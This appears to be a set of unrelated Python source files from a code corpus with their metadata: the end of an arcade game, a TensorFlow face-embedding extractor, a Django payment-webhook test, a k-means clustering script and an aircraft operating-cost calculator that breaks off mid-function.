2.2\n start_screen = False\n load_screen = True\n\n if (x > 750 - (hard_button.width) / 2 and x < 800 + (hard_button.width) / 2 and y > 100 - (\n hard_button.width) / 2 and y < 100 + (hard_button.height) / 2):\n player_speed = 5\n trace_virus_speed = 2.7\n start_screen = False\n load_screen = True\n\n# BUTTON HOVER ANIMATION\ndef mouse(x, y, dx, dy):\n global expansion, transparency_button_1, transparency_easy_button, transparency_medium_button, transparency_hard_button, expansion_button_1, expansion_easy_button, expansion_medium_button, expansion_hard_button\n\n if (x > 800 - (button_1.width) / 2 and x < 800 + (button_1.width) / 2 and y > 400 - (\n button_1.height) / 2 and y < 400 + (button_1.height) / 2):\n expansion_button_1 = -5\n transparency_button_1 = 0.7\n else:\n expansion_button_1 = 0\n transparency_button_1 = 1\n\n if (x > 750 - (easy_button.width) / 2 and x < 800 + (easy_button.width) / 2 and y > 300 - (\n easy_button.height) / 2 and y < 300 + (easy_button.height) / 2):\n expansion_easy_button = -5\n transparency_easy_button = 0.7\n else:\n expansion_easy_button = 0\n transparency_easy_button = 1\n\n if (x > 750 - (medium_button.width) / 2 and x < 800 + (medium_button.width) / 2 and y > 200 - (\n medium_button.height) / 2 and y < 200 + (medium_button.height) / 2):\n expansion_medium_button = -5\n transparency_medium_button = 0.7\n else:\n expansion_medium_button = 0\n transparency_medium_button = 1\n\n if (x > 750 - (hard_button.width) / 2 and x < 800 + (hard_button.width) / 2 and y > 100 - (\n hard_button.width) / 2 and y < 100 + (hard_button.height) / 2):\n expansion_hard_button = -5\n transparency_hard_button = 0.7\n else:\n expansion_hard_button = 0\n transparency_hard_button = 1\n\n\n\ndef setup():\n arcade.open_window(WIDTH, HEIGHT, \"Aura Antivirus\")\n arcade.set_background_color(arcade.color.WHITE)\n arcade.schedule(on_update, 1 / 240)\n\n # Override arcade window methods\n window = arcade.get_window()\n window.on_draw = on_draw\n window.on_key_press = on_key_press\n window.on_key_release = on_key_release\n window.on_mouse_press = on_mouse_press\n window.on_mouse_motion = mouse\n\n arcade.run()\n\n\nif __name__ == '__main__':\n setup()\n", "sub_path": "CPT/CPT GAME2.py", "file_name": "CPT GAME2.py", "file_ext": "py", "file_size_in_byte": 19807, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "random.randint", "line_number": 81, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 82, "usage_type": "call"}, {"api_name": "arcade.load_texture", "line_number": 85, "usage_type": "call"}, {"api_name": "arcade.load_texture", "line_number": 86, "usage_type": "call"}, {"api_name": "arcade.load_texture", "line_number": 87, "usage_type": "call"}, {"api_name": "arcade.load_texture", "line_number": 88, "usage_type": "call"}, {"api_name": "arcade.load_texture", "line_number": 89, "usage_type": "call"}, {"api_name": "arcade.load_texture", "line_number": 90, "usage_type": "call"}, {"api_name": "arcade.load_texture", "line_number": 91, "usage_type": "call"}, {"api_name": "arcade.load_texture", "line_number": 92, "usage_type": "call"}, {"api_name": "arcade.load_texture", "line_number": 93, "usage_type": "call"}, {"api_name": "arcade.load_texture", "line_number": 94, "usage_type": "call"}, {"api_name": "arcade.load_texture", "line_number": 95, "usage_type": "call"}, {"api_name": "arcade.draw_texture_rectangle", "line_number": 111, "usage_type": "call"}, {"api_name": "arcade.draw_text", "line_number": 119, "usage_type": "call"}, {"api_name": "arcade.draw_text", "line_number": 120, "usage_type": "call"}, {"api_name": "arcade.draw_text", "line_number": 123, "usage_type": "call"}, {"api_name": "arcade.draw_texture_rectangle", "line_number": 124, "usage_type": "call"}, {"api_name": "arcade.draw_texture_rectangle", "line_number": 128, "usage_type": "call"}, {"api_name": "arcade.draw_texture_rectangle", "line_number": 130, "usage_type": "call"}, {"api_name": "arcade.draw_texture_rectangle", "line_number": 132, "usage_type": "call"}, {"api_name": "arcade.set_background_color", "line_number": 141, "usage_type": "call"}, {"api_name": "arcade.color", "line_number": 141, "usage_type": "attribute"}, {"api_name": "arcade.draw_texture_rectangle", "line_number": 142, "usage_type": "call"}, {"api_name": "arcade.draw_text", "line_number": 144, "usage_type": "call"}, {"api_name": "arcade.color", "line_number": 144, "usage_type": "attribute"}, {"api_name": "arcade.draw_circle_filled", "line_number": 148, "usage_type": "call"}, {"api_name": "arcade.color", "line_number": 148, "usage_type": "attribute"}, {"api_name": "arcade.draw_circle_filled", "line_number": 150, "usage_type": "call"}, {"api_name": "arcade.color", "line_number": 150, "usage_type": "attribute"}, {"api_name": "arcade.draw_circle_filled", "line_number": 152, "usage_type": "call"}, {"api_name": "arcade.color", "line_number": 152, "usage_type": "attribute"}, {"api_name": "arcade.draw_texture_rectangle", "line_number": 154, "usage_type": "call"}, {"api_name": "arcade.draw_text", "line_number": 155, "usage_type": "call"}, {"api_name": "arcade.color", "line_number": 155, "usage_type": "attribute"}, {"api_name": "arcade.draw_texture_rectangle", "line_number": 156, "usage_type": "call"}, {"api_name": "arcade.draw_text", "line_number": 158, "usage_type": "call"}, {"api_name": "arcade.color", "line_number": 158, "usage_type": "attribute"}, {"api_name": "arcade.draw_texture_rectangle", "line_number": 161, "usage_type": "call"}, {"api_name": "arcade.draw_text", "line_number": 162, "usage_type": "call"}, {"api_name": "arcade.color", "line_number": 162, "usage_type": "attribute"}, {"api_name": "arcade.draw_circle_filled", "line_number": 168, "usage_type": "call"}, {"api_name": "arcade.draw_text", "line_number": 169, "usage_type": "call"}, {"api_name": "arcade.color", "line_number": 169, "usage_type": "attribute"}, {"api_name": "arcade.draw_text", "line_number": 172, "usage_type": "call"}, {"api_name": "arcade.color", "line_number": 173, "usage_type": "attribute"}, {"api_name": "arcade.draw_text", "line_number": 175, "usage_type": "call"}, {"api_name": "arcade.color", "line_number": 176, "usage_type": "attribute"}, {"api_name": "arcade.set_background_color", "line_number": 180, "usage_type": "call"}, {"api_name": "arcade.color", "line_number": 180, "usage_type": "attribute"}, {"api_name": "arcade.draw_texture_rectangle", "line_number": 181, "usage_type": "call"}, {"api_name": "arcade.draw_text", "line_number": 187, "usage_type": "call"}, {"api_name": "arcade.color", "line_number": 187, "usage_type": "attribute"}, {"api_name": "arcade.draw_text", "line_number": 188, "usage_type": "call"}, {"api_name": "arcade.color", "line_number": 188, "usage_type": "attribute"}, {"api_name": "arcade.draw_text", "line_number": 191, "usage_type": "call"}, {"api_name": "arcade.color", "line_number": 191, "usage_type": "attribute"}, {"api_name": "arcade.color", "line_number": 202, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 218, "usage_type": "call"}, {"api_name": "arcade.draw_circle_filled", "line_number": 230, "usage_type": "call"}, {"api_name": "arcade.draw_texture_rectangle", "line_number": 231, "usage_type": "call"}, {"api_name": "arcade.draw_texture_rectangle", "line_number": 237, "usage_type": "call"}, {"api_name": "arcade.set_background_color", "line_number": 241, "usage_type": "call"}, {"api_name": "arcade.color", "line_number": 241, "usage_type": "attribute"}, {"api_name": "arcade.draw_texture_rectangle", "line_number": 257, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 316, "usage_type": "call"}, {"api_name": "arcade.start_render", "line_number": 344, "usage_type": "call"}, {"api_name": "arcade.draw_text", "line_number": 358, "usage_type": "call"}, {"api_name": "arcade.draw_text", "line_number": 360, "usage_type": "call"}, {"api_name": "arcade.key", "line_number": 366, "usage_type": "attribute"}, {"api_name": "arcade.key", "line_number": 373, "usage_type": "attribute"}, {"api_name": "arcade.key", "line_number": 375, "usage_type": "attribute"}, {"api_name": "arcade.key", "line_number": 377, "usage_type": "attribute"}, {"api_name": "arcade.key", "line_number": 379, "usage_type": "attribute"}, {"api_name": "arcade.key", "line_number": 382, "usage_type": "attribute"}, {"api_name": "arcade.key", "line_number": 384, "usage_type": "attribute"}, {"api_name": "arcade.key", "line_number": 386, "usage_type": "attribute"}, {"api_name": "arcade.key", "line_number": 388, "usage_type": "attribute"}, {"api_name": "arcade.key", "line_number": 390, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 404, "usage_type": "call"}, {"api_name": "arcade.key", "line_number": 410, "usage_type": "attribute"}, {"api_name": "arcade.key", "line_number": 414, "usage_type": "attribute"}, {"api_name": "arcade.key", "line_number": 421, "usage_type": "attribute"}, {"api_name": "arcade.key", "line_number": 423, "usage_type": "attribute"}, {"api_name": "arcade.key", "line_number": 425, "usage_type": "attribute"}, {"api_name": "arcade.key", "line_number": 427, "usage_type": "attribute"}, {"api_name": "arcade.key", "line_number": 430, "usage_type": "attribute"}, {"api_name": "arcade.key", "line_number": 432, "usage_type": "attribute"}, {"api_name": "arcade.key", "line_number": 434, "usage_type": "attribute"}, {"api_name": "arcade.key", "line_number": 436, "usage_type": "attribute"}, {"api_name": "arcade.open_window", "line_number": 512, "usage_type": "call"}, {"api_name": "arcade.set_background_color", "line_number": 513, "usage_type": "call"}, {"api_name": "arcade.color", "line_number": 513, "usage_type": "attribute"}, {"api_name": "arcade.schedule", "line_number": 514, "usage_type": "call"}, {"api_name": "arcade.get_window", "line_number": 517, "usage_type": "call"}, {"api_name": "arcade.run", "line_number": 524, "usage_type": "call"}]} {"seq_id": "648287864", "text": "from feature_extraction.face_model import get_input\n\nfrom face_detection import keypoints\nimport tensorflow.compat.v1 as tf \nimport sklearn.preprocessing\nimport numpy as np\nimport os \n\n\nclass FaceVector:\n def __init__(self, model_type=34):\n #current_path = os.path.abspath(os.path.dirname(__file__))\n #frozen_graph_path = os.path.join(current_path, 'models/fv_model_{}.pb'.format(model_type))\n frozen_graph_path='models/fv_model_34.pb'\n self.graph = tf.Graph()\n with self.graph.as_default():\n self.sess = tf.Session()\n od_graph_def = tf.compat.v1.GraphDef()\n with tf.io.gfile.GFile(frozen_graph_path, 'rb') as fid:\n serialized_graph = fid.read()\n od_graph_def.ParseFromString(serialized_graph)\n tf.import_graph_def(od_graph_def, name='')\n self.tinput = self.graph.get_tensor_by_name(\"data:0\")\n self.toutput = self.graph.get_tensor_by_name(\"fc1/add_1:0\")\n\n # with tf.Graph().as_default() as self.graph:\n # with tf.Session().as_default() as self.sess:\n # model_path = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'models/tf_resnet{}'.format(model_type))\n # tf.saved_model.load(self.sess, ['serve'], model_path)\n # self.tinput = self.graph.get_tensor_by_name(\"data:0\")\n # self.toutput = self.graph.get_tensor_by_name(\"fc1/add_1:0\")\n\n\n def get_vector(self, rgb_img, bb=None, point=None):\n if bb is None:\n h, w = rgb_img.shape[:2]\n bb = [0, 0, w, h]\n if point is None:\n l,t,r,b = bb \n face = rgb_img[t:b,l:r]\n point = keypoints.get_keypoints(face)\n point = np.array([[l+x, t+y] for x, y in point])\n img = get_input(rgb_img, bb, point)\n img = np.transpose(img, (1,2,0))\n with self.graph.as_default():\n with self.sess.as_default():\n output = self.sess.run(self.toutput, {self.tinput: [img]})\n output = sklearn.preprocessing.normalize(output).flatten()\n return output\n", "sub_path": "backend/app/api/checkin/feature_extraction/extractor.py", "file_name": "extractor.py", "file_ext": "py", "file_size_in_byte": 2140, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "tensorflow.compat.v1.Graph", "line_number": 15, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 15, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.Session", "line_number": 17, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 17, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.compat.v1.GraphDef", "line_number": 18, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat", "line_number": 18, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 18, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.io.gfile.GFile", "line_number": 19, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.io", "line_number": 19, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 19, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.import_graph_def", "line_number": 22, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 22, "usage_type": "name"}, {"api_name": "face_detection.keypoints.get_keypoints", "line_number": 41, "usage_type": "call"}, {"api_name": "face_detection.keypoints", "line_number": 41, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 42, "usage_type": "call"}, {"api_name": "feature_extraction.face_model.get_input", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 44, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.preprocessing.normalize", "line_number": 48, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.preprocessing", "line_number": 48, "usage_type": "attribute"}, {"api_name": "sklearn.preprocessing", "line_number": 48, "usage_type": "name"}]} {"seq_id": "643894694", "text": "import json\nfrom django.contrib.auth import get_user_model\nfrom django.contrib.sites.models import Site\nfrom django.test import TestCase, Client, override_settings\nfrom django.urls import reverse\nfrom django.conf import settings\nfrom unittest import skipIf\n\nfrom vendor.models import Offer, Price, Invoice, OrderItem, Receipt, CustomerProfile, Payment\nfrom vendor.forms import BillingAddressForm, CreditCardForm\n\nUser = get_user_model()\n\n\nclass VendorAPITest(TestCase):\n\n fixtures = ['user', 'unit_test']\n\n def setUp(self):\n pass\n@skipIf(True, \"Webhook tests are highly dependent on data in Authroizenet and local data.\")\nclass AuthorizeNetAPITest(TestCase):\n\n fixtures = ['user', 'unit_test']\n\n def setUp(self):\n self.client = Client()\n self.user = User.objects.get(pk=2)\n self.client.force_login(self.user)\n\n def test_webhook_authcapture(self):\n url = reverse('vendor_api:api-authorizenet-authcapture-get')\n payload = {\n \"notificationId\": \"afc50fb2-a243-44ec-8e6c-fda7d35ecbec\",\n \"eventType\": \"net.authorize.payment.authcapture.created\",\n \"eventDate\": \"2021-01-12T08:48:41.6171054Z\",\n \"webhookId\": \"2e2b1218-11b5-4fc8-bf6b-652e33cb25ac\",\n \"payload\": json.dumps({\n \"responseCode\": 1,\n \"authCode\": \"77JLY8\",\n \"avsResponse\": \"Y\",\n \"authAmount\": 112.98,\n \"invoiceNumber\": \"1\",\n \"entityName\": \"transaction\",\n \"id\": \"60160039986\"})\n }\n headers = {\n 'HTTP_X_ANET_SIGNATURE': 'sha512=C83D2EC65F4ADD4771B35FD0BD1EFF135F33ACDF6CA3E9467C05A465D32F985001F1BC46C6E4CADE62FC4C6B77B0A93124D77079B4EDF5B988C311555E6E5A90',\n 'Content-Type': 'application/json'}\n response = self.client.post(url, data=payload, **headers)\n ", "sub_path": "develop/core/tests/test_api.py", "file_name": "test_api.py", "file_ext": "py", "file_size_in_byte": 1873, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.contrib.auth.get_user_model", "line_number": 12, "usage_type": "call"}, {"api_name": "django.test.TestCase", "line_number": 15, "usage_type": "name"}, {"api_name": "django.test.TestCase", "line_number": 22, "usage_type": "name"}, {"api_name": "django.test.Client", "line_number": 27, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 32, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 38, "usage_type": "call"}, {"api_name": "unittest.skipIf", "line_number": 21, "usage_type": "call"}]} {"seq_id": "60216597", "text": "from copy import deepcopy\nimport numpy as np\nimport pandas as pd\nfrom matplotlib import pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\n\nplt.rcParams['figure.figsize'] = (16, 9)\nplt.style.use('ggplot')\ndata = pd.read_csv('data.csv')\nf1 = data['X'].values\nf2 = data['Y'].values\nf3 = data['Z'].values\nX = np.array(list(zip(f1, f2, f3)))\ndef dist(a, b, ax=1):\n return np.linalg.norm(a - b, axis=ax)\nk = 5\nC_x = np.random.randint(0, np.max(X)-20, size=k)\nC_y = np.random.randint(0, np.max(X)-20, size=k)\nC_z = np.random.randint(0, np.max(X)-20, size=k)\nC = np.array(list(zip(C_x, C_y, C_z)), dtype=np.float64)\nC_old = np.zeros(C.shape)\nclusters = np.zeros(len(X))\nerror = dist(C, C_old, None)\nwhile error != 0:\n for i in range(len(X)):\n distances = dist(X[i], C)\n cluster = np.argmin(distances)\n clusters[i] = cluster\n C_old = deepcopy(C)\n for i in range(k):\n points = [X[j] for j in range(len(X)) if clusters[j] == i]\n C[i] = np.mean(points, axis=0)\n error = dist(C, C_old, None)\ncolors = ['r', 'g', 'b', 'y', 'c', 'm','darkred','gold','purple']\nfig = plt.figure()\nax = Axes3D(fig)\nfor i in range(k):\n points = np.array([X[j] for j in range(len(X)) if clusters[j] == i])\n ax.scatter(points[:, 0], points[:, 1], points[:, 2], c=colors[i], s=7)\nax.scatter(C[:, 0], C[:, 1], C[:, 2], marker='*', s=200, c='#050505')\nplt.show()\n", "sub_path": "clustering.py", "file_name": "clustering.py", "file_ext": "py", "file_size_in_byte": 1391, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "matplotlib.pyplot.rcParams", "line_number": 7, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 7, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.style.use", "line_number": 8, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style", "line_number": 8, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 8, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 15, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 17, "usage_type": "attribute"}, {"api_name": "numpy.max", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 18, "usage_type": "attribute"}, {"api_name": "numpy.max", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 19, "usage_type": "attribute"}, {"api_name": "numpy.max", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 20, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.argmin", "line_number": 27, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 35, "usage_type": "name"}, {"api_name": "mpl_toolkits.mplot3d.Axes3D", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}]} {"seq_id": "143053609", "text": "from bin import data_specification as data_specs\nfrom bin import isa\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.cm as cm\n\nfrom bin import auftriebsbeiwertverteilung as diederich\nfrom bin import fe1_wing\nfrom bin import mass_roskam as imp_mass\nfrom bin import mass_torenbeek\nfrom bin import fe1_wing\nfrom bin import schwerpunkt\nfrom bin import det_drag\nfrom bin import widerstand as imp_drag\nfrom bin import isa\nfrom bin import performance\nimport csv\n\nclass doc:\n\n def __init__(self):\n self.class_data = data_specs.specs().data()\n self.isa = isa.isa()\n self.data_fe1wing = fe1_wing.calc_fe1_wing()\n self.class_SP = schwerpunkt.center_of_mass()\n self.data_mission = self.class_data[3]\n self.altitude_ica = self.data_mission[2]\n self.data_mass = self.class_data[0]\n self.data_wing = self.class_data[1]\n self.data_crew = self.class_data[2]\n self.data_data_airfoil = self.class_data[4]\n self.data_fuselage = self.class_data[5]\n self.data_propulsion = self.class_data[6]\n self.data_cabin = self.class_data[7]\n self.data_cargo = self.class_data[8]\n self.data_airfoiltail = self.class_data[9]\n self.data_tail = self.class_data[10]\n self.data_SP = self.class_data[11]\n self.data_gear = self.class_data[12]\n self.data_narc = self.class_data[13]\n self.data_seat = self.class_data[14]\n self.data_detdrag = det_drag.det_drag()\n\n # ICA\n [self.rho_ica, self.p_ica, self.T_ica, self.a_ica] = self.isa.calc_isa(self.altitude_ica)\n\n # MASSES\n [group1, group2, group3, group4, group5, subtotal, self.W_DE, self.W_OE, self.W_TO] = \\\n mass_torenbeek.torenbeek_mass().iter_all()\n self.payload = self.data_mass[3] + 2000\n imp_mass.calc_mass()\n [self.m_fuel, self.imp_m_oe, self.imp_m_to, self.imp_kappa, self.imp_mff25] = imp_mass.calc_mass().fuelfactor()\n\n # CREW\n self.n_crew = self.data_crew[0] + self.data_crew[2]\n\n # MISSION\n self.range_design = self.data_mission[0]\n self.Ma_ica = self.data_mission[1]\n self.n_pax_eco = 110\n self.n_pax_2c = 18 * 5 + 3 * 4\n\n # PROPULSION\n self.eng_thrust = self.data_propulsion[1]\n\n def calc_total(self):\n # standard case\n range_sta= 500 * 1852 / 1000 # standard range in km\n self.indepentent_cost()\n [self.C2_sta, self.cost_dist_sta, self.FC_sta] = self.dependent_cost(range_sta)\n\n self.DOC_sta = self.C1 + self.C2_sta\n self.C1C2_sta = [self.C1, self.C2_sta]\n\n # design case\n range_des = self.range_design / 1000 # design range in km\n [self.C2_des, self.cost_dist_des, self.FC_des] = self.dependent_cost(range_des)\n\n self.DOC_des = self.C1 + self.C2_des\n self.C1C2_des = [self.C1, self.C2_des]\n\n # write c1c2 and cost distribution in 'data_doc.csv\n self.write_csv()\n\n # calculate seat mile kilometer (SMK)\n # 1. for standard range\n self.SMK_sta = self.SMK(range_sta, self.FC_sta, self.DOC_sta)\n self.SMK_des = self.SMK(range_des, self.FC_des, self.DOC_des)\n\n # additional cargo\n [self.n_pax_cargo_eco, self.n_pax_cargo_2c] = self.add_cargo()\n\n # DOC Correction\n SMK_sta_eco_cor = self.SMK_sta[0] * (self.n_pax_eco/(self.n_pax_eco + self.n_pax_cargo_eco))\n SMK_sta_2c_cor = self.SMK_sta[1] * (self.n_pax_2c/(self.n_pax_2c + self.n_pax_cargo_2c))\n SMK_des_eco_cor = self.SMK_des[0] * (self.n_pax_eco/(self.n_pax_eco + self.n_pax_cargo_eco))\n SMK_des_2c_cor = self.SMK_sta[1] * (self.n_pax_2c/(self.n_pax_2c + self.n_pax_cargo_2c))\n\n [self.UC_range, self.DOC_SKO_AB_des_2c, self.DOC_SKO_BC_des_2c, self.DOC_SKO_CD_des_2c, self.DOC_SKO_AB_des_2c_corr] = self.unit_cost()\n\n # EMISSIONS\n em_flight = self.emissions(self.m_fuel)\n em_year = self.emissions(1937 * self.m_fuel)\n em_12year = self.emissions(12 * 1937 * self.m_fuel)\n test = 1\n\n self.plots()\n\n\n # ONLY FOR DEBUGGING\n # fixme: check if SMK is legit\n # plt.close(1)\n # plt.close(2)\n # plt.close(3)\n # plt.close(4)\n # plt.close(5)\n # plt.close(6)\n test = 1\n\n def indepentent_cost(self):\n # route independent costs\n # capital costs\n P_oew = 1245 # price per kg OEW €/kg\n IR = .05 # interest rate\n DP = 12 # depreciation period 12y.\n f_rv = .15 # residual value factor\n f_ins = .005 # insurance rate\n a = IR * ((1 - f_rv * (1/(1 - IR))**DP)/(1 - (1/(1 + IR))**DP))\n C_cap = P_oew * self.W_OE * (a + f_ins)\n\n # crew\n CC = self.n_crew # number of crew\n PL_max = self.payload # max. payload\n S_fa = 30000 # avg. salary of flight attendant p.a.\n S_pil = 300000 # avg. salary for both pilots p.a.\n C_crew = CC * (S_fa * (PL_max/5000) + S_pil)\n\n # returns\n self.C_cap = C_cap\n self.C_crew = C_crew\n self.C1 = C_cap + C_crew\n\n def dependent_cost(self, range):\n # determine the avg. fuel price over the last 12 months [Apr18 - Mar19]\n fp09 = np.average([1.22, 1.32, 1.20, 1.31, 1.33, 1.35])\n fp10 = np.average([1.44, 1.45, 1.55, 1.67, 1.64, 1.69, 1.58, 1.62, 1.62, 1.62, 1.69, 1.86])\n fp11 = np.average([1.96, 2.08, 2.23, 2.26, 2.15, 2.12, 2.20, 2.10, 2.14, 2.16, 2.24, 2.18])\n fp12 = np.average([2.39, 2.43, 2.47, 2.45, 2.32, 2.14, 2.36, 2.55, 2.48, 2.39, 2.31, 2.24])\n fp13 = np.average([2.33, 2.41, 2.29, 2.16, 2.10, 2.10, 2.21, 2.26, 2.20, 2.12, 2.10, 2.16])\n fp14 = np.average([2.15, 2.17, 2.09, 2.09, 2.09, 2.12, 2.08, 2.13, 2.12, 1.94, 1.84, 1.46])\n fp15 = np.average([1.29, 1.56, 1.50, 1.58, 1.66, 1.54, 1.41, 1.25, 1.24, 1.24, 1.23, .99])\n fp16 = np.average([.86, .88, .96, 1.01, 1.15, 1.23, 1.15, 1.16, 1.18, 1.32, 1.25, 1.41])\n fp17 = np.average([1.43, 1.45, 1.35, 1.41, 1.28, 1.15, 1.23, 1.32, 1.51, 1.41, 1.50, 1.54])\n fp18 = np.average([1.60, 1.50, 1.51, 1.64, 1.82, 1.79, 1.80, 1.83, 1.88, 1.96, 1.71, 1.49])\n fp19 = np.average([1.56, 1.69, 1.68])\n\n\n\n\n\n P_f = [fp09, fp10, fp11, fp12, fp13, fp14, fp15, fp16, fp17, fp18, fp19] # fuel price (€/gallon)\n P_f = np.divide(P_f, .26) # fuel price in €/kg\n P_f_avg = np.average(P_f)\n\n P_l = .01 # landing fees (€/kg)\n T_f = self.m_fuel # in kg\n if range == (500 * 1852 / 1000):\n T_f = .45 * T_f\n P_h = .1 # handling fees (€/kg)\n payload = self.payload\n\n fun_R = .6 # ATC price factor far east\n\n v = self.Ma_ica * self.a_ica * 3600\n FC = 6011/((range * 1000)/v + 1.83)\n FT = range * 1000 / v\n\n # Maintainance costs calculation\n LR = 50 # labor rate (€/h)\n B = 2 # cost burden, sugg.: 2\n N_eng = 4 # number of engines\n SLST = self.eng_thrust/(9.80655 * 1000)\n MC_af_mat = self.W_OE/1000 * (.2 * FT + 13.7) + 57.5\n MC_af_per = LR * (1 + B) * ((.655 + .01 * self.W_OE/1000) * FT + .254 + .01 * self.W_OE/1000)\n MC_eng = N_eng * (1.5 * SLST + 30.5 * FT + 10.6)\n MC_total = MC_af_mat + MC_af_per + MC_eng\n\n C2 = FC * (P_f * T_f + P_h * payload + P_l * self.W_TO + fun_R * range * np.sqrt(self.W_TO/1000/50) + MC_total)\n\n # summaries for piechart\n pie = [self.C_cap/12, self.C_crew, (P_f * T_f * FC), (P_h * payload * FC), (P_l * self.W_TO * FC),\n (fun_R * range * np.sqrt(self.W_TO/(1000 * 50)) * FC), (MC_total * FC)]\n\n return C2, pie, FC\n\n def SMK(self, range, FC, DOC):\n # seat mile kilometer\n n_pax_eco = self.n_pax_eco\n n_pax_2c = self.n_pax_2c\n\n # ALL ECO\n SK0_etops_eco = n_pax_eco * range * FC\n SMK_eco = DOC/SK0_etops_eco\n\n # 2 class\n SK0_etops_2c = n_pax_2c * range * FC\n SMK_2c = DOC / SK0_etops_2c\n\n return [SMK_eco, SMK_2c]\n\n def add_cargo(self):\n FR = .2 # euro/kg\n E_PAX = 100 # rev. per seat and flight 100 euro/SO\n G_Pmax = self.payload * 9.80655\n n_PAX_eco = 110\n n_PAX_2c = 102\n def eco_2c(n_PAX):\n G_pax = n_PAX * 100 * 9.80655\n E_cargo = FR * (G_Pmax - G_pax)\n n_PAX_cargo = E_cargo/E_PAX\n return n_PAX_cargo\n n_pax_cargo_eco = eco_2c(n_PAX_eco)\n n_pax_cargo_2c = eco_2c(n_PAX_2c)\n return [n_pax_cargo_eco, n_pax_cargo_2c]\n\n def unit_cost(self):\n [NLD_range, NLD_mA, NLD_RDP, m] = performance.performance().p2_NLD()\n delta_y = -.154\n delta_x = 2778\n m = delta_y/delta_x\n range_AB = np.linspace(NLD_range[1], NLD_range[2], 1000)\n range_BC = np.linspace(NLD_range[2], NLD_range[3], 1000)\n range_CD = np.linspace(NLD_range[3], NLD_range[4], 1000)\n # unit costs over the years\n # UC_range = np.zeros((3, len(self.DOC_des)))\n DOC_SKO_AB_des_2c = np.zeros((11, len(range_AB)))\n DOC_SKO_AB_des_2c_corr = np.zeros((11, len(range_AB)))\n DOC_SKO_BC_des_2c = np.zeros((11, len(range_AB)))\n DOC_SKO_CD_des_2c = np.zeros((11, len(range_AB)))\n for i in range(0, len(self.DOC_des)):\n # AB\n DOC_SKO_AB_des_2c[i] = self.DOC_des[i] / (self.n_pax_2c * self.FC_des * range_AB)\n DOC_SKO_AB_des_2c_corr[i] = DOC_SKO_AB_des_2c[i] * (self.n_pax_eco/(self.n_pax_2c + self.n_pax_cargo_2c))\n\n # BC\n vec_BC = ((m * range_BC) + 1 - (self.W_OE/self.W_TO)) * self.W_TO\n DOC_TKO_BC_des_2c = self.FC_des * vec_BC * range_BC\n DOC_SKO_BC_des_2c[i] = self.DOC_des[i]/((DOC_TKO_BC_des_2c - 2000*self.FC_des * range_BC)/90)\n\n # CD\n vec_CD = ((m * range_CD) + 1 - (self.W_OE/self.W_TO)) * self.W_TO\n DOC_TKO_CD_des_2c = self.FC_des * vec_CD * range_CD\n DOC_SKO_CD_des_2c[i] = self.DOC_des[i] / ((DOC_TKO_CD_des_2c - (2000*self.FC_des * range_CD)) / 90)\n UC_range = [range_AB, range_BC, range_CD]\n\n return [UC_range, DOC_SKO_AB_des_2c, DOC_SKO_BC_des_2c, DOC_SKO_CD_des_2c, DOC_SKO_AB_des_2c_corr]\n\n def emissions(self, m_fuel):\n cO2 = 3.15\n 